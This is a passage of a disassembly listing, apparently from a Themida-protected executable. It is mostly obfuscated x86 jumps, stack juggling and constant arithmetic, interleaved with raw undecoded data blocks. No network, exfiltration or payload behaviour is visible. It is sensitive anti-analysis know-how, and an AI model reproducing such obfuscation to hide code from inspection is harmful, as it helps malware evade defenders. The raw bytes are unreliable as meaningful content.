		mov	esp, [esp]
		push	edx
		mov	edx, 7246EA0h
		add	edx, 187878A7h
		neg	edx
		and	edx, 1D5078E9h
		or	edx, 768973D3h
		shl	edx, 2
		jmp	loc_547650
; ---------------------------------------------------------------------------
		dd 8324148Bh, 0E9D004C4h, 46886852h, 0C890000h,	507FB124h
		dd 0C688C888h, 0FFB0E6E9h, 2EC81FFh, 66000000h,	86241C89h
		dd 0D4F62424h, 66242486h, 0E9E3D05Bh, 0FFFF928Ch, 0CEE8159h
		dd 1730D70h, 0CB850D6h,	81730D70h, 86588EC6h, 0F057E958h
		dd 0DC88FFFFh, 0D90E9h,	5F06BB00h, 0DF8900ACh, 5FFA315Bh
		dd 0FFF152E9h, 240C89FFh, 4EC81h, 7BE90000h, 1FFFFD1h
		dd 7DE95EF1h, 88FFFF8Ch, 59EA88E5h, 0D2F65866h,	5066D2F6h
		dd 0EA80C0B0h, 1FF6E9A4h, 0E95C0000h, 0FFFFB881h, 2827C280h
		dd 27EA80DAh, 92C7E95Bh, 0EA80FFFFh, 5AD588C5h,	0BAB05066h
		dd 5866C530h, 80EEED80h, 1FE9C3EDh, 89FFFFF2h, 5D54242Ch
		dd 66BE5651h, 0B97C2311h, 7B734F7h, 11E7E9h, 22E86800h
		dd 4A5A7C68h, 5F07F281h, 0EA8134B7h, 48DF7DDCh,	38E9D189h
		dd 59FFFFDCh, 0C231C331h, 0FF7570E9h, 240487FFh, 241C895Ch
		dd 0C8068h, 0B2E95400h,	0FFFFFF89h, 5B042474h, 8B24048Fh
		dd 8B662424h, 0EC81240Ch, 4, 89242C89h,	0E78957E5h, 4C781h
		dd 0EF810000h, 4, 31243C33h, 3C33243Ch,	53E95C24h, 52FFFFDAh
		dd 0C2815A54h, 4, 0DC8E9h, 243C3300h, 6A9E95Ch,	0E6C10000h
		dd 0E4CBE903h, 0C87FFFFh, 24248B24h, 0E2D1C209h, 682477FFh
		dd 865h, 2AEAE9h, 24540100h, 24148B04h,	0E9E28952h, 1E68h
		dd 4EC81h, 14890000h, 52E28924h, 0C281E289h, 4,	8704EA83h
		dd 895C2414h, 0BFBE2434h, 0E930BC06h, 0FFFF8AA9h, 0ED4E9ADh
		dd 1C2C0000h, 75E9D828h, 8BFFFF9Fh
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54FC45
; ---------------------------------------------------------------------------


loc_54CD0A:				; CODE XREF: Themida_:0054A910j
		add	eax, ebp
		pop	ebp
		jmp	loc_54FD03
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 2414F724h, 592434FFh, 4C481h, 0F1810000h, 5CA137F6h
		dd 5059CD01h, 0FF92B3E9h, 14875EFFh, 0DA6BE924h, 0E781FFFFh
		dd 66FB0456h, 7742F781h, 0EB8116F5h, 694550AFh,	18E6E9h
		db 0
; ---------------------------------------------------------------------------


loc_54CD51:				; CODE XREF: Themida_:0054FBF3j
		push	4
		pop	ecx
		add	esi, ecx
		pop	ecx
		push	edi
		mov	edi, 2
		add	esi, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_54C790
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFFD977h, 0BAE9E089h, 54FFFFCCh, 0E9242C8Bh
		dd 0FFFFF453h, 0E95BD829h, 26DAh, 745A68h, 242C8900h, 4BDh
		dd 0A325E900h, 0EF29FFFFh, 0FFE5BAE9h, 241C87FFh, 8B2434FFh
		dd 0C4812414h, 4, 1F22E9h, 21E95400h, 8900001Eh, 4832424h
		dd 48F0424h, 24048124h,	4, 4BE95658h, 80FFFFAAh, 0F028FBC6h
		dd 2CC7E95Ah, 14330000h, 8B665C24h, 0E9572414h,	0FFFF835Bh
		dd 9C59E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CE06:				; CODE XREF: Themida_:00547F1Ej
		add	esp, 4
		pop	ecx
		and	eax, edi
		mov	edi, [esp]
		push	3D79h
		mov	[esp], edx
		mov	edx, esp
		push	ecx
		push	esi
		jmp	loc_54F61C
; ---------------------------------------------------------------------------
		dd 0E95A8904h, 0FFFF87EDh, 0D3F6E388h, 5B66DC88h, 0FF92C6E9h
		dd 0A1E980FFh, 0C8BC800h, 18E95724h, 89FFFF91h,	243C8BFBh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		jmp	loc_547603
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0FFFF81A8h, 6AEEEB81h, 0BE5622C2h, 519623Bh
		dd 76E9F301h, 4FFFFFE5h, 0FFCE4AE9h, 4A6859FFh,	89000001h
		dd 0E2892414h, 652E9h, 81CB0100h, 0E05449C3h, 7EE9594Fh
		dd 81FFFFB9h, 0F7431DC3h, 81FB295Eh, 0F7431DEBh, 0DE015F5Eh
		dd 0FFDD37E9h, 0E68956FFh, 4C681h, 0EE830000h, 24348704h
		dd 2404895Ch, 0A21681B8h, 70B055Ch, 7E9EC37h, 50000010h
		dd 582414F7h, 2CC6E9h, 241C8900h, 8124048Bh, 4C4h, 10F6800h
		dd 3C890000h, 224A6824h, 14890000h, 0A822E924h,	0C681FFFFh
		dd 1C2D795Ch, 12D6685Dh, 34890000h, 2474FF24h, 0BD1DE904h
		dd 0D829FFFFh, 3500E95Bh, 5D680000h, 89000008h,	5268241Ch
		dd 89000020h, 2BB1240Ch, 0E9C88850h, 0FFFFD386h, 240C8B66h
		dd 541B68h, 1B15E900h, 0AB680000h, 89000026h, 71E92424h
		dd 0FFFFFFA9h, 50592434h, 584568h, 4EC8300h, 0FFFE6AE9h
		dd 0E9E089FFh, 0FFFFDD1Ah, 0E9BDEB80h, 0FFFFF7BBh, 0C781C729h
		dd 56076362h, 6856FD58h, 0Ah, 0FF8334E9h, 14895CFFh, 202CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54CF92:				; CODE XREF: Themida_:0054763Cj
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_54E39E
; ---------------------------------------------------------------------------
		dd 0DD2EE956h, 815BFFFFh, 4C3h,	68555600h, 4B9049B8h, 81242C8Bh
		dd 4C4h, 4EC8300h, 0FFE268E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54CFCD:				; CODE XREF: Themida_:0054D316j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_54B027
; ---------------------------------------------------------------------------
		dd 6A8868h, 9FE95400h, 21000008h, 0E0C15FF8h, 29A33502h
		dd 0C5890DAEh, 1C58158h, 52000000h, 0FB5130BAh,	0FFD50970h
		dd 94E92434h, 55FFFFA9h, 855D39BDh, 5DEA290Ch, 5CE0C281h
		dd 0CA0177AFh, 5CE0EA81h, 0C28177AFh, 0C855D39h, 2C28359h
		dd 31241433h, 0B7E92414h, 66FFFFFDh, 6824048Bh,	596Dh
		dd 89243489h, 0F9BB53E6h, 0C13B1206h, 6803EBh, 0E9000000h
		dd 0FFFFC448h, 3AF668h,	242C8900h, 815B5453h, 4C3h, 773CE900h
		dd 0C381FFFFh, 4, 2F5CE9h, 0D1E98100h, 0E9D6B4DEh, 0FFFF7A76h
		dd 80C7E954h, 0C181FFFFh, 7E143ADEh, 0E981C129h, 7E143ADEh
		dd 0B8505A58h, 4, 2E36E981h, 8CE92947h,	1FFFFA0h, 24148BD3h
		dd 8704C483h, 248B241Ch, 9F8E924h, 0E9500000h, 159Eh
; ---------------------------------------------------------------------------


loc_54D0C8:				; CODE XREF: Themida_:0054510Cj
		mov	esi, 23A804BBh
		mov	ebp, 3C687677h
		sub	ebp, esi
		pop	esi
		sub	dword ptr [esp+4], 5595440Bh
		sub	dword ptr [esp+4], 12802E33h
		add	[esp+4], ebp
		push	ebx
		mov	ebx, 12802E33h
		add	[esp+8], ebx
		pop	ebx
		jmp	loc_5445A1
; ---------------------------------------------------------------------------
		db 5Bh,	83h, 0C4h
		dd 242C8104h, 31AD7311h, 0FD242C81h, 81168C04h,	15DF242Ch
		dd 4016483h, 0C4A1E924h, 0E189FFFFh, 4C181h, 0C1810000h
		dd 4, 0FFEC6DE9h, 5BD801FFh, 8B304289h,	0C4832404h, 0C39D6104h
		dd 0FF7068E9h, 240C89FFh, 1587E9h, 3C875C00h, 0D3665C24h
		dd 0E99C240Ch, 0FFFF7051h, 4C4835Fh, 81E68956h,	4C6h, 0D837E900h
		dd 31ADFFFFh, 89DCE9D8h, 34FFFFFFh, 89535824h, 0E0E9E9E3h
		dd 0EB89FFFFh, 0FFD21BE9h, 0B7BB53FFh, 4B68A64Eh, 0C91E381h
		dd 1E96699h, 81000026h,	3D4C64C9h, 0E8F1815Fh, 1FF3FECh
		dd 0B7E959CFh, 53FFFF75h, 0E78086B7h, 68661Bh, 243C2800h
		dd 2499E9h
		db 0
; ---------------------------------------------------------------------------


loc_54D1BD:				; CODE XREF: Themida_:00544EB6j
		shr	bl, 5
		inc	bl
		push	edx
		mov	dh, 1
		add	bl, dh
		pop	edx
		neg	bl
		push	cx
		mov	ch, 0FFh
		add	bl, ch
		jmp	loc_54755A
; ---------------------------------------------------------------------------
		db 80h,	0E7h, 0DCh
		dd 0E902E7C0h, 0B41h, 240C8B54h, 8104C483h, 4C1h, 4C18300h
		dd 5C240C87h, 0FF97F2E9h, 0DF8959FFh, 81241C8Bh, 4C4h
		dd 0F6F7E900h, 74FFFFFFh, 48B0424h, 4C48324h, 5C24048Fh
		dd 7311BD55h, 6C0131ADh, 0E95D0424h, 0FFFF6F81h, 72E9EF31h
		dd 5B00002Ch, 5058C289h, 0FFC24CE9h, 0C9F581FFh, 0E94B2759h
		dd 1EE9h, 0E904C383h, 0FFFF89DEh, 91BD555Eh, 108C502h
		dd 18E95DE9h, 50FFFF82h, 0B951E089h, 7EE157D3h,	81D9F749h
		dd 900C85F1h, 0BEEBE94Eh, 248BFFFFh, 14896624h,	9C506624h
		dd 0FF6F28E9h, 2EEC1FFh, 4D86C681h, 0F52906E9h,	8324348Bh
		dd 0E9E904C4h, 5DFFFFD9h, 0E95EF001h, 0FFFFF1BBh, 0E932FF64h
		dd 0FFFF6F01h, 4CD8EB81h, 53E94D35h, 50FFFFB8h,	0FF848EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D2B9:				; CODE XREF: Themida_:0054E52Ej
		pop	ebp
		xor	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		mov	eax, [esp]
		push	edx
		jmp	loc_546051
; ---------------------------------------------------------------------------
		dd 8B243487h, 2C892424h, 0E9E58924h, 0FFFFEBEEh, 4C581h
		dd 2C870000h, 34FF5C24h, 2434FF24h, 4C48158h, 68000000h
		dd 78CAh, 89243C89h, 4C781E7h, 0E9000000h, 2445h, 0A3CDE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D312:				; CODE XREF: Themida_:0054AAB0j
		mov	edx, [esp]
		push	edx
		jmp	loc_54CFCD
; ---------------------------------------------------------------------------
		db 1
		dd 9EEF81CFh, 502BB848h, 0FFA898E9h, 48F59FFh, 8F69E924h
		dd 0EA81FFFFh, 2E773298h, 31B0F281h, 26E9CC21h,	0FFFFFFAEh
		dd 68592434h, 73D2h, 0FFBCBBE9h, 885350FFh, 5BFC88D7h
		dd 424548Ah, 4246488h, 0D0686658h, 489665Bh, 0F6D08824h
		dd 885251D0h, 0A7A8E9C2h, 0F821FFFFh, 0CE8C15Fh, 6768C831h
		dd 89000012h, 0FF512404h, 59042474h, 8724048Fh,	71DE9F9h
		dd 335D0000h, 0EFE92414h, 5AFFFF72h, 3F38E981h,	0A1E93B08h
		dd 0FFFFFFCFh, 58042474h, 5C24048Fh, 81E28952h,	4C2h, 5B545300h
		dd 0FFA521E9h, 0EF835BFFh, 243C8704h, 2414895Ch, 0FEBD55h
		dd 0EA890000h, 0FFB44EE9h, 0C3305CFFh, 66C0B60Fh, 0E987048Fh
		dd 0FFFF9E78h, 8B5AD601h, 0C4812404h, 4, 28BB68h, 24348900h
		dd 0E92434FFh, 0FFFFCA2Ch
; ---------------------------------------------------------------------------


loc_54D408:				; CODE XREF: Themida_:0054FDCCj
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		not	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_54E4E7
; ---------------------------------------------------------------------------
		db 89h
		dd 0E9532414h, 0FFFFF67Ch, 83243C8Bh, 0C68304C4h, 74FF5604h
		dd 0E5E90424h, 81FFFFD1h, 0F55722C1h, 242C8B1Bh, 104C483h
		dd 0F0C181D9h, 0FF552C3Ah, 835B2434h, 0C18304C4h, 240C8702h
		dd 6624248Bh, 56C8BE0Fh, 0C681E689h, 4,	0FF96EAE9h, 243C89FFh
		dd 0FFDD84E9h, 81D5F7FFh, 46FA2EC5h, 0E9E80110h, 142Ah
		dd 4C481h, 0E8210000h, 0FFE35EE9h, 5AD300FFh, 79ADE959h
		dd 0BB53FFFFh, 0B516685h, 0C381434Bh, 4E6C24FFh, 6B4EBE56h
		dd 0F329DC9Ah, 0FFFD8BE9h, 89565BFFh, 4C681E6h,	0E9000000h
		dd 0FFFF6FA9h, 0EEE9FD01h, 80000028h, 0DE99CC7h, 81000003h
		dd 4C2h, 4EA8300h, 5C241487h, 56240C89h, 0B52E78BEh, 2D7CE931h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54D4FA:				; CODE XREF: Themida_:0054C311j
		jmp	loc_5441A9
; ---------------------------------------------------------------------------
		db 0FFh
a4_wics5	db '4$_W5"',0
		dw 5D00h
		dd 4EC81h, 4890000h, 4B824h, 0C5010000h, 5624048Bh, 0C6815E54h
		dd 4, 4C681h, 0DEE90000h, 5BFFFFC8h, 19EEE9h, 5EF32900h
		dd 4EA7B951h, 0E1C12AB8h, 0D9F74908h, 3E4CC181h, 0BE567626h
		dd 62E12824h, 0E95EF109h, 0FFFF7771h, 8B5AD101h, 0C483243Ch
		dd 0C96EE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D56A:				; CODE XREF: Themida_:0054723Aj
		add	ebp, 0B1F2F1E7h
		add	esi, ebp
		pop	ebp
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_54A86F
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0EC832404h, 240C8904h, 0B850E189h, 78844C1Bh
		dd 0FFE15DE9h, 48B66FFh, 32406824h, 7CE90000h, 5EFFFFFEh
		dd 68E9DEF7h, 5000002Bh, 264DE9h, 0D7F75F00h, 6F3E9h, 81FB0100h
		dd 6A3A5CC3h, 929BE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D5CE:				; CODE XREF: Themida_:00544474j
		sub	esp, 4
		mov	[esp], edx
		pop	ebx
		mov	[edi+20h], ebx
		pop	ebx
		pop	edx


loc_54D5DA:				; CODE XREF: Themida_:loc_54520Fj
					; Themida_:0054ADDDj
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_545148
; ---------------------------------------------------------------------------
		db 51h
		dd 0EA88E588h, 0D7885859h, 8851595Ah, 874C88F9h, 34FF5901h
		dd 9465E924h, 48FFFFFh,	0EB7EE924h, 0D0BDFFFFh,	2D69424Dh
		dd 55593827h, 0E951E829h, 0FFFFAC72h
; ---------------------------------------------------------------------------


loc_54D620:				; CODE XREF: Themida_:0054BFBEj
		add	esp, 4
		push	esi
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		jmp	loc_548B51
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0C104EBC1h, 0CB8107E3h, 28C6099Bh, 0FFD524E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D645:				; CODE XREF: Themida_:00545150j
		mov	edx, esp
		jmp	loc_54C2BA
; ---------------------------------------------------------------------------


loc_54D64C:				; CODE XREF: Themida_:0054C590j
		mov	dl, 9Fh
		not	dl
		neg	dl
		and	dl, 8Bh
		sub	dl, 16h
		and	dl, 54h
		push	ecx
		mov	cl, 0D8h
		jmp	loc_54FAFA
; ---------------------------------------------------------------------------
		dd offset dword_579668
		align 4
		dd 57240489h, 0B850E789h, 753F5C1Ah, 7E0C148h, 0AE0C8435h
		dd 58C7019Fh, 4EF81h, 3C870000h, 24248B24h, 0FFAF5CE9h
		dd 0E9C309FFh, 0FFFFBF7Ch, 0E95AD701h, 0FFFF9C4Bh
; ---------------------------------------------------------------------------


loc_54D6A0:				; CODE XREF: Themida_:0054C2FFj
		or	eax, 6E2375ADh
		push	esi
		mov	esi, 0F4B82634h
		sub	eax, esi
		pop	esi
		jmp	loc_54E4F2
; ---------------------------------------------------------------------------


loc_54D6B3:				; CODE XREF: Themida_:005467E6j
		add	bl, 8
		shr	bl, 3
		push	bx
		not	byte ptr [esp]
		pop	bx
		add	bl, 5Ah
		sub	bl, 14h
		or	al, bl
		jmp	loc_546D0D
; ---------------------------------------------------------------------------
		db 59h,	80h, 0F3h
		dd 5EBC042h, 0CBFED3F6h, 0B252C3FEh, 11ADE9C6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54D6E2:				; CODE XREF: Themida_:00549ED3j
		mov	[esp], eax
		mov	al, 0B9h
		sub	bl, al
		pop	eax
		push	356Dh
		mov	[esp], edx
		mov	edx, 38h
		add	edx, 26CD210Ch
		add	edx, edi
		sub	edx, 26CD210Ch
		push	3367h
		jmp	loc_545AE4
; ---------------------------------------------------------------------------
		db 0D1h
		dd 0BAB2E9EFh, 4B9FFFFh, 1000000h, 2434FFCDh, 4C48359h
		dd 0FF7F26E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D729:				; CODE XREF: Themida_:005486EEj
		sub	ecx, 0B656A1FCh
		mov	edi, ecx
		pop	ecx
		sub	edx, 7F311BECh
		sub	edx, edi
		jmp	loc_546847
; ---------------------------------------------------------------------------
		db 89h
		dd 35E9243Ch, 4B000017h, 8102EBC1h, 63F8F6EBh, 5BDA09F2h
		dd 15B85053h, 5616B7Ch,	16826B68h, 75CD3D2Dh, 58C3895Ah
		dd 0A5A1E955h, 0D6F7FFFFh, 25F1E9h
		db 0
; ---------------------------------------------------------------------------


loc_54D775:				; CODE XREF: Themida_:0054A9CAj
		pop	ebp
		add	esp, 4
		pop	ecx
		jmp	loc_54603F
; ---------------------------------------------------------------------------
		db 68h
		dd 3828h, 83243489h, 1C8904ECh,	0E66BB24h, 0E38138C0h
		dd 495039E6h, 0FFA24BE9h, 1D7868FFh, 1C890000h,	2474FF24h
		dd 48F5B04h, 34895C24h,	4669BE24h, 0EEC1632Ch, 47F68106h
		dd 0F7748431h, 0E6C146D6h, 8CF68102h, 812BDDFEh, 532843C1h
		dd 81F10110h, 532843E9h, 24348B10h, 8704C483h, 295C240Ch
		dd 0E99C2404h, 0E75h, 515BF800h, 0EDD0F4B5h, 0FFD94DE9h
		dd 2434FFFFh, 81240C8Bh, 4C4h, 0E7895700h, 4C781h, 0BE560000h
		dd 4, 67FEC781h, 0F70168B3h, 67FEEF81h,	53E968B3h, 81FFFF8Fh
		dd 0E1537F1h, 8FBB5348h, 0C1095731h, 0FEE904EBh, 0E9FFFFA7h
		dd 0FFFF6969h, 0C181E189h, 4, 46855h, 30E90000h, 0BE000010h
		dd 538C64D4h, 0E95EF201h, 1F7Ah, 4EC81h, 3C890000h, 0BD555324h
		dd 55CD2C4Dh, 35E4CD81h, 0D5F734A0h, 0EDC1D5F7h, 81DDF703h
		dd 991A84EDh, 0F8F4E9B5h, 48FFFFFh, 7E726824h, 34890000h
		dd 4BE24h, 93E90000h, 0FEFFFF8Bh, 0E0C780CFh, 0FFFC2EE9h
		dd 0FD685EFFh, 89000027h, 8BBD242Ch, 8131DE11h,	9E6063CDh
		dd 8E5C117h, 8108E5C1h,	0EB0004F5h, 5DEE0171h, 26857h
		dd 15F0000h, 12E95FFEh,	4DFFFFAFh, 0F707E5C1h, 0C6C581DDh
		dd 1775C57h, 0EB815DEBh, 1C3E0E54h, 7B83EB81h, 0C32923E0h
		dd 7B83C381h, 0C38123E0h, 1C3E0E54h, 1A37B850h,	57971B08h
		dd 5F2414F7h, 6E5F0597h, 20357F41h, 3574E671h, 20395E41h
		dd 77FE9h, 2434FF00h, 1BD6E9h, 24148B00h, 5904C483h, 0E9243C87h
		dd 0FFFF97B6h, 66243489h, 667465BEh, 8166DEF7h,	66BFC6EEh
		dd 665EF129h, 0E959CF89h, 846h
; ---------------------------------------------------------------------------


loc_54D958:				; CODE XREF: Themida_:0054891Aj
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 3DC415A8h
		mov	edx, 226ECEC6h
		jmp	loc_546A25
; ---------------------------------------------------------------------------


loc_54D976:				; CODE XREF: Themida_:00548C6Fj
		add	ebp, 4
		push	edx
		mov	edx, 4
		push	ecx
		mov	ecx, 397958F4h
		jmp	loc_547B4B
; ---------------------------------------------------------------------------


loc_54D98D:				; CODE XREF: Themida_:0054FE30j
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	eax, 34A314Ch
		jmp	loc_544C62
; ---------------------------------------------------------------------------
		db 0BBh, 57h, 34h
		dd 4FBA4C1Dh, 29C99A9Eh, 0D0015BDAh, 2DD8015Ah,	7D7D69F8h
		dd 0FF7D6DE9h, 0CAE953FFh, 81FFFFE1h, 86F8DCC1h, 0E9C821DBh
		dd 0A50h, 2B850h, 0ED810000h, 5C53516Eh, 0BF57C529h, 654F00E7h
		dd 798BE781h, 0CF871EBDh, 0FFE620E9h, 0FFC101FFh, 81582434h
		dd 4C4h, 6E30E900h, 0E289FFFFh,	4C281h,	0B8500000h, 4
		dd 58E9C201h, 59000008h, 0E9EB31h, 89000022h, 8B54241Ch
		dd 0C481241Ch, 4, 0FF8348E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54DA2D:				; CODE XREF: Themida_:0054F32Bj
		mov	eax, 1C166D45h
		neg	eax
		push	ebx
		mov	ebx, 1C166D44h
		add	eax, ebx
		pop	ebx
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebx, 0A92D660Fh
		push	edi
		jmp	loc_547535
; ---------------------------------------------------------------------------


loc_54DA51:				; CODE XREF: Themida_:00546347j
		push	ecx
		mov	cl, 4Bh
		jmp	loc_54FEB8
; ---------------------------------------------------------------------------
		db 83h,	0EAh, 4
		dd 5C241487h, 0FF241489h, 5A042474h, 0E924048Fh, 0FFFFC970h
		dd 0E9E18951h, 0FFFF9013h, 8103E2C1h, 4FEB10F2h, 5AD50132h
		dd 0FFD8DCE9h, 217BFFFh, 0BD556F9Ch, 61611A8Ah,	0FF79AAE9h
		dd 48B66FFh, 0E3895324h, 0D5B85056h, 0BE15B12Fh, 31F661EEh
		dd 0C5E9C629h, 57FFFF9Ch, 9161E950h, 0C209FFFFh, 17E9E2D1h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DAC3:				; CODE XREF: Themida_:00547E11j
		pop	ebx
		jmp	loc_544BA7
; ---------------------------------------------------------------------------
		db 80h,	0C1h, 0DBh
		dd 801EB151h, 0E1C058E9h, 1793E907h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54DADA:				; CODE XREF: Themida_:0054653Dj
		add	esp, 2
		push	cx
		mov	cl, 21h
		sub	al, cl
		pop	cx
		push	small 50EFh
		mov	[esp], dx
		mov	dh, 13h
		jmp	loc_5475BF
; ---------------------------------------------------------------------------
		db 81h
		dd 0DF6913C3h, 0EB83583Bh, 241C8704h, 8924248Bh, 0FFBA2414h
		dd 29FFFFFFh, 505A2457h, 8C685854h, 0E900002Dh,	0FFFF8934h
		dd 0FE450593h, 0C681BD5Eh, 1C1250F9h, 0EE81C601h, 1C1250F9h
		dd 201FE958h, 0B9510000h, 7D733A84h, 0E9D1F749h, 0FFFFAC86h
		dd 5781C281h, 0C2297F66h, 5781EA81h, 1587F66h, 63C281FAh
		dd 0E9344313h, 1EB9h, 31241433h, 14332414h, 0D6E95C24h
		dd 89FFFFAAh, 4B82404h,	1000000h, 2434FFC6h, 0E7895758h
		dd 4C781h, 0C7830000h, 243C8704h, 6E00685Ch, 14890000h
		dd 4BA24h, 84E90000h, 83FFFFD9h, 48704C0h, 0FAE95C24h
		dd 81FFFF65h, 1B4F4ECAh, 7CE9556Eh, 68FFFFD8h, 1C9Ch, 0B7241C89h
		dd 18D4E91Fh, 0E9520000h, 0FFFFB878h
; ---------------------------------------------------------------------------


loc_54DBD0:				; CODE XREF: Themida_:00545F56j
		xor	eax, ebp
		jmp	loc_549A5C
; ---------------------------------------------------------------------------
		db 68h
		dd 0FD8h, 68240489h, 1610h, 0BD242C89h,	43BE3D40h, 0F1E95245h
		dd 8B000004h, 0C483241Ch, 59C83104h, 50A568h, 8921E900h
		dd 0FF58FFFFh, 0ACE92434h, 64FFFF8Dh, 92E9028Fh, 50FFFF65h
		dd 60E95854h, 0E9FFFF86h, 0FFFF6585h, 511305ADh, 0BB531262h
		dd 8975FE7h, 0FFA122E9h, 1C8966FFh, 45EB724h, 0E9B02C22h
		dd 0ABBh, 88241C89h, 4EC83D7h, 0FF6F1CE9h, 242C89FFh, 379568h
		dd 24248900h, 4240483h,	4C5815Dh, 83000000h, 2C8704C5h
		dd 34FF5C24h, 2434FF24h, 1D55E9h, 24248B00h, 0FFD382E9h
		dd 59CF89FFh, 4246C81h,	7C2027DAh, 4247C01h, 0FFAE3BE9h
		dd 24048FFFh, 8B24248Bh, 83562404h, 248904ECh, 24048324h
		dd 24348B04h, 0E904C483h, 0D2Ch, 885EEF81h, 0F989FA6Ch
		dd 52F9015Fh, 0BAh, 31CA0100h, 56595A02h, 0C681E689h, 4
		dd 2272E9h
		db 0
; ---------------------------------------------------------------------------


loc_54DCD9:				; CODE XREF: Themida_:00545AEEj
		mov	ch, dh
		mov	edx, [esp]
		add	esp, 4
		push	eax
		push	esi
		mov	esi, 69542408h
		or	esi, 0A12245Eh
		push	ecx
		mov	ecx, 1BFA2397h
		inc	ecx
		shr	ecx, 7
		dec	ecx
		neg	ecx
		add	ecx, 67105A29h
		add	esi, ecx
		pop	ecx
		sub	esi, 0D22E8A41h
		mov	eax, esi
		pop	esi
		add	eax, edx
		mov	[eax], ch
		jmp	loc_54F605
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0FFB81FE9h, 87EF80FFh, 0FEA6E780h, 42C780C7h, 0E95BF988h
		dd 0FFFFE65Dh
; ---------------------------------------------------------------------------


loc_54DD34:				; CODE XREF: Themida_:0055030Dj
		pop	eax
		mov	eax, [esp]
		add	esp, 4
		push	edi
		push	4388h
		mov	[esp], ecx
		mov	ecx, 7E193B73h
		mov	edi, ecx
		jmp	loc_54ED0A
; ---------------------------------------------------------------------------
		dd 0E1C0C1FEh, 6E92E902h, 0EA81FFFFh, 0B8539B73h, 0D02E892Dh
		dd 1EB7E905h, 0C8010000h, 0C07BE56h, 0E9E91ABDh, 81FFFF9Bh
		dd 0FCBC0FF6h, 5EF301DEh, 0DBE95751h, 5A000007h, 3C88EA81h
		dd 815F0B90h, 0D720BFCAh, 1EA8341h, 7A39BF57h, 0B8503B2Ch
		dd 67221ACCh, 0CA3D7005h, 6E4B357Fh, 0D8F766EFh, 0D08DC52Dh
		dd 58C20162h, 0BE56FA01h, 3D87992h, 4256F681h, 0F2291EF4h
		dd 0EA815F5Eh, 5A205791h, 0CA70F281h, 8C051AFFh, 537D4921h
		dd 605555BBh, 81DBF764h, 0B63162E3h, 7416E962h,	815AFFFFh
		dd 4C4h, 0E9C30100h, 0FFFFA6B1h, 815EF131h, 5E25B0C1h
		dd 0CCC18123h, 81046C7Ch, 4ECh,	0EEFCE900h, 8EE9FFFFh
		dd 5AFFFF63h, 34FFCA88h, 240C8B24h, 8104C483h, 4C4h, 48B6600h
		dd 2C48324h, 0E9241430h, 916h, 5C243C87h, 5002C083h, 42474FFh
		dd 24048F58h, 6624248Bh, 5124048Bh, 0BB535954h,	715E34F2h
		dd 0D50F381h, 0E94B7D5Ah, 0FFFF99B7h, 2404D366h, 6337E99Ch
		dd 148BFFFFh, 4C48124h,	83000000h, 0C00904C4h, 0B5B7840Fh
		dd 77FFFFFFh, 0D15CE91Ch, 0F659FFFFh, 4BEF80D7h, 20E2C780h
		dd 241C8BF8h, 0E9E38953h, 23C7h, 240C8B66h, 3C8B5457h
		dd 4C48324h, 4C781h, 0EF810000h, 4, 5C243C87h, 0FFF5B4E9h
		dd 0E96F04FFh, 0FFFFEE2Ah, 8B242C33h, 0C1382424h, 62CFE99Ch
		dd 0E952FFFFh, 0FFFF7C8Bh, 0E9242C89h, 9C1h, 400BF57h
		dd 0FE890000h, 0FFF0215Fh, 348B2434h, 4C48324h,	81E38953h
		dd 4C3h, 4EB8300h, 5C241C87h, 89243C89h, 0DF40E9E7h, 0F743FFFFh
		dd 74F381DBh, 8148F763h, 0F310A0F3h, 0E9DA31D2h, 0FFFFC884h
		dd 12A2EA81h, 0DA011ED4h, 12A2B951h, 0C2811ED4h, 724A3AB7h
		dd 0EA81CA01h, 724A3AB7h, 0E126E959h, 0C89FFFFh, 0E5A4B924h
		dd 76686B17h, 0E9000023h, 0FFFFE965h
; ---------------------------------------------------------------------------


loc_54DF60:				; CODE XREF: Themida_:00547598j
		pop	esi
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	edi
		mov	edi, 15895801h
		add	eax, edi
		pop	edi
		push	5D45h
		mov	[esp], edx
		push	ecx
		push	edi
		push	7F5B111Eh
		pop	edi
		add	edi, 2F9499Ah
